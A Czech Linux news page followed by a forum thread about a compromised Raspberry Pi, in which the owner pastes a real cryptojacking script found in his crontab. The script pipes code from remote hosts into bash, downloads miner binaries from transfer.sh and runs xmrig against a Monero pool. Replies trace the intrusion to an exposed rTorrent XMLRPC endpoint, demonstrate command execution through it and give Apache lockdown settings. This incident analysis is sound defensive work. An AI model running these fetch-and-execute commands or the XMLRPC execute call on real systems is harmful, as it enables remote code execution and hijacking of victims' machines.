V Amsterdamu probíhá Open Source Summit Europe. Organizace Linux Foundation představuje novinky. Pod svá křídla převzala open source dokumentovou databázi DocumentDB.
Přesně před 34 lety, 25. srpna 1991, oznámil Linus Benedict Torvalds v diskusní skupině comp.os.minix, že vyvíjí (svobodný) operační systém (jako koníček, nebude tak velký a profesionální jako GNU) pro klony 386 (486), že začal v dubnu a během několika měsíců by mohl mít něco použitelného.
86Box, tj. emulátor retro počítačů založených na x86, byl vydán ve verzi 5.0. S integrovaným správcem VM. Na GitHubu jsou vedle zdrojových kódů ke stažení také připravené balíčky ve formátu AppImage.
Vláda Spojených států získala desetiprocentní podíl v americkém výrobci čipů Intel. Oznámili to podle agentur americký prezident Donald Trump a ministr obchodu Howard Lutnick. Společnost Intel uvedla, že výměnou za desetiprocentní podíl obdrží státní dotace v hodnotě 8,9 miliardy dolarů (zhruba 186 miliard Kč). Částka podle Intelu zahrnuje dříve přislíbené subvence 5,7 miliardy dolarů z programu CHIPS na podporu výroby čipů v USA,
… více »Organizace Apache Software Foundation (ASF) vydala verzi 27 integrovaného vývojového prostředí a vývojové platformy napsané v Javě NetBeans (Wikipedie). Přehled novinek na GitHubu. Instalovat lze také ze Snapcraftu a Flathubu.
Knihovna FFmpeg byla vydána ve verzi 8.0 „Huffman“. Přibyla mj. podpora hardwarově akcelerovaného kódování s využitím API Vulcan, viz seznam změn.
Národní úřad pro kybernetickou a informační bezpečnost (NÚKIB) vydal Zprávu o stavu kybernetické bezpečnosti ČR za rok 2024 (pdf). V loňském roce NÚKIB evidoval dosud nejvíce kybernetických bezpečnostních incidentů s celkovým počtem 268. Oproti roku 2023 se však jedná pouze o drobný nárůst a závažnost dopadů evidovaných incidentů klesá již třetím rokem v řadě. V minulém roce NÚKIB evidoval pouze jeden velmi významný incident a významných incidentů bylo zaznamenáno 18, což oproti roku 2023 představuje pokles o více než polovinu.
Byl publikován aktuální přehled vývoje renderovacího jádra webového prohlížeče Servo (Wikipedie). Servo mimo jiné nově zvládne animované obrázky APNG a WebP.
Na chytré telefony a počítačové tablety v Rusku bude od začátku příštího měsíce povinné předinstalovávat státem podporovanou komunikační aplikaci MAX, která konkuruje aplikaci WhatsApp americké společnosti Meta Platforms. Oznámila to dnes ruská vláda. Ta by podle kritiků mohla aplikaci MAX používat ke sledování uživatelů. Ruská státní média obvinění ze špehování pomocí aplikace MAX popírají. Tvrdí, že MAX má méně oprávnění k přístupu k údajům o uživatelích než konkurenční aplikace WhatsApp a Telegram.
Společnost PINE64 stojící za telefony PinePhone nebo notebooky Pinebook publikovala na svém blogu srpnový souhrn novinek. Kvůli nedostatečnému zájmu byla ukončena výroba telefonů PinePhone Pro.
1 * * * * wget -O - lochjol.com/cmd2|bash;Obsah skriptu cmd2 (ten jsem na RPi nenašel, musel jsem ho stáhnout z uvedeného cíle)
wget -V && (crontab -l|grep -v -e lochjol -e internetres ;echo '1 * * * * wget -q -O- http://internetresearch.is/robots.txt 2>/dev/null|bash > /dev/null crontab -l|grep internetresearch||curl -V|(crontab -l|grep -v -e lochjol -e internetres ;echo '1 * * * * curl -s http://internetresearch.is/robots.txt 2> touch .test||cd /dev/shm||cd /tmp 2>/dev/null >$MAIL&&chmod 000 $MAIL rm .test 2>/dev/null rm sshd* 2>/dev/null pkill -9 xmrig 2>/dev/null pid=$(pgrep -f -o 'tQwSXfdLn6avycd1bMp6RJTsNfwdPrMPWbz8') test $pid && pgrep -f 'tQwSXfdLn6avycd1bMp6RJTsNfwdPrMPWbz8' | grep -vw $pid | xargs -r kill -9 pgrep -f tQwSXfdLn6avycd1bMp6RJTsNfwdPrMPWbz8 && exit 0 wget --no-check-certificate https://transfer.sh/MBBq0/sshd -O .sshd||curl -k https://transfer.sh/MBBq0/sshd -o .sshd wget --no-check-certificate https://transfer.sh/12MJka/sshd.i686 -O .sshd.i686||curl -k https://transfer.sh/12MJka/sshd.i686 -o .sshd.i686 chmod +x .sshd .sshd.i686 pgrep -f hashvault||./.sshd -o pool.monero.hashvault.pro:5555 -u 45e9rBtQwSXfdLn6avycd1bMp6RJTsNfwdPrMPWbz8crBXzPeGPLM6t8QE3s6JS5LNJUGMGmibF9yZhjVoCbUvz9 pgrep -f hashvault||./.sshd.i686 -o pool.monero.hashvault.pro:5555 -u 45e9rBtQwSXfdLn6avycd1bMp6RJTsNfwdPrMPWbz8crBXzPeGPLM6t8QE3s6JS5LNJUGMGmibF9yZhjVoCA otázka je jak se mi tam dostali. Nezdá se mi, že by byl útok bůhví jak sofistikovaný, protože kopírovat x86 ELF na ARM platformu je školácká chyba, takže to klaplo an něco tuctového a automatizovatelného. Logy se nezdají být ani upravované a ani nejsou smazané, takže tady jsou zanechané stopy: /var/log/syslog:
Jan 8 09:21:18 pi crontab[11124]: (pi) DELETE (pi) Jan 8 09:21:18 pi crontab[11127]: (pi) REPLACE (pi) Jan 8 09:21:18 pi crontab[11129]: (pi) LIST (pi) Jan 8 09:22:01 pi cron[356]: (pi) RELOAD (crontabs/pi) Jan 8 10:01:01 pi CRON[13050]: (pi) CMD (wget -O - lochjol.com/cmd2|bash;) Jan 8 10:01:22 pi cron[356]: sendmail: cannot locate host smtp.gmail.com smtp.freemail.example smtp.provider.example: Name or service not known Jan 8 10:01:22 pi cron[356]: sendmail: could not send mail (account default from /etc/msmtprc) Jan 8 10:01:22 pi CRON[13046]: (pi) MAIL (mailed 5379 bytes of output but got status 0x0044 from MTA#012)Mailování nemám nastavené, proto to padlo do chyby. V logu apache /var/log/apache2/access.log jsem našel toto:
185.130.104.198 - - [08/Jan/2018:09:10:11 +0100] "POST /RPC2 HTTP/1.1" 200 329 "-" "NYU"To je zajímavá hláška a neumím ji vysvětlit. Uvedená IP adresa je dost "profláklá". V logu LAST nic není, takže se nezdá, že by přišli standardně přes přihlášení uživatele. Nikde kromě adresáře uživatele PI jsem nic nenašel. Verifikace souborů prošla bez chyby. Chápu, že dokud neudělám čistou instalaci, tak si nemůžu být ničím jistý, ale vzhledem k tomu, kolik stop po sobě nechali a že se vůbec nesnažili nic skrývat mě vede k tomu, že buď to byl automat a nebo nějaký skriptkiddie. Na serveru nemám prakticky žádná důležitá a citlivá data, takže to asi ještě nechám chvíli tak a budu to zkoumat. Co si o tom myslíte? Ještě doplním, RPi3
PRETTY_NAME="Raspbian GNU/Linux 9 (stretch)" DíkyLinux pi.zapadlo.local 4.9.70-v7+ #1068 SMP Mon Dec 18 22:12:55 GMT 2017 armv7l GNU/LinuxAktualizace k okamžiku útoku všechny nainstalované.
Měnili crontab uživatele pi. Když budeme předpokládat, že neměli superuživatele, pak to znamená, že se tam dostali přes proces, který patří uživateli pi. Copak vám běží pod uživatelem pi? Co obsahují logy démonů, které běží uživatelem pi, nebo které mohou měnit UID na uživatele pi?
Co to URL v protokolu httpd. Copak se skrývá pod ním za skript? Není děravý?
200
to the RPC request, you have an XMLRPC server responding to global requests at /RPC2
through Apache (i.e. from anyone on the web). At the same time, perhaps you have rTorrent running responding to XMLRPC requests (used for e.g. common web frontends for rTorrent such as ruTorrent).
You should lock down that /RPC2
endpoint to only answer to local requests as soon as possible.
If you have the execution log configured in rTorrent (log.execute
set in your .rtorrent.rc
) you can see more information on the exact requests sent by the attacker. It is likely commands to send information back to the attacker with information on whether you have cURL and/or wget installed, along with deleting your old crontab, replacing it with the one you saw.
If this is the case, I would assume that the crontab entry that was changed was the one corresponding to the user currently running rTorrent.
If you want to retrieve your old crontab entries, you could try looking through /var/log/syslog
(and its rotated older copies):
# zgrep '(pi) CMD' /var/log/syslog*If it is not rTorrent listening to RPC, it is probably some other service that happily executes the payload given through the RPC call.
Alias /rtgui /usr/share/rtgui/www SCGIMount /RPC2 127.0.0.1:5000 Directory /usr/share/rtgui/www Options +FollowSymLinks AllowOverride None Require all granted Allow from 192.168.1.0/24 Allow from 127.0.0.0/8 Allow from 2001:470:5c44::0/64 deny from all DirectoryIndex index.php /DirectoryI think that it is safe enough. (But no). How Do I close RPC only from local site? Thanks Petr
<Location /RPC2> Require local </Location>somewhere after where the
SCGIMount
has been defined should lock access to only local connections.
(The above assumes Apache 2.4. The syntax for Apache 2.2 is slightly different.)
The instructions one finds when searching for rTorrent and XMLRPC are from the rTorrent wiki at GitHub: RPC Setup XMLRPC, and currently do not mention lockdown in any more detail than a tiny remark in the "Other notes" section, saying
Also make sure the /RPC2 location is properly protected.There is likely a very large amount of vulnerable machines due to these instructions, so it just seems natural that malware writers would look for the
/RPC2
endpoint and trying rTorrent commands when scanning the net.
localhost/RPC2
, one can (on Debian-based systems, at least) install the libxmlrpc-core-c3-dev
package which comes with a CLI for sending XMLRPC requests named xmlrpc
. You can run this against your local machine:
$ xmlrpc localhost/RPC2 system.listMethods Result: Array of 963 items: Index 0 String: 'system.listMethods' ...One can even execute arbitrary commands using the
execute
call:
$ xmlrpc localhost/RPC2 execute ls Result: 64-bit integer: 0Not too exciting: however, if one has enabled the execution log one would in that now see the output of the
ls
command run, so the command actually executed on the local machine. From there it is a small step to do things like:
$ xmlrpc localhost/RPC2 execute -- sh -c "echo 'Now you have a shell and can do what you want in here, like replacing the crontab for the user, ping home, insert ransomware, etc.'" Result: 64-bit integer: 0A variation of this was probably what the RPC request noted in the initial post contained. Scary stuff, but if it is locked down to localhost only, things might be OK (beware of shared hosts, though). If one however get this result even when running against the computer remotely, then it is just a matter of time until someone scans the machine and finds this issue. With the correct access configuration, a remote call should rather yield something like:
$ xmlrpc $YOUR_HOST/RPC2 system.listMethods Failed. Call failed. HTTP response code is 403, not 200. (XML-RPC fault code -504)It is not a bad idea to run rTorrent as a separate less privileged user to mitigate the risk of e.g. losing private SSH keys, being exposed to ransomware, etc.
SCGIMount /RPC2 127.0.0.1:5000 Location /RPC2 Allow from 127.0.0.0/8 Allow from ::1/128 deny from all /Locationand I allow use RPC2 only from localhost. I hope it is safe enough.
Tiskni
Sdílej: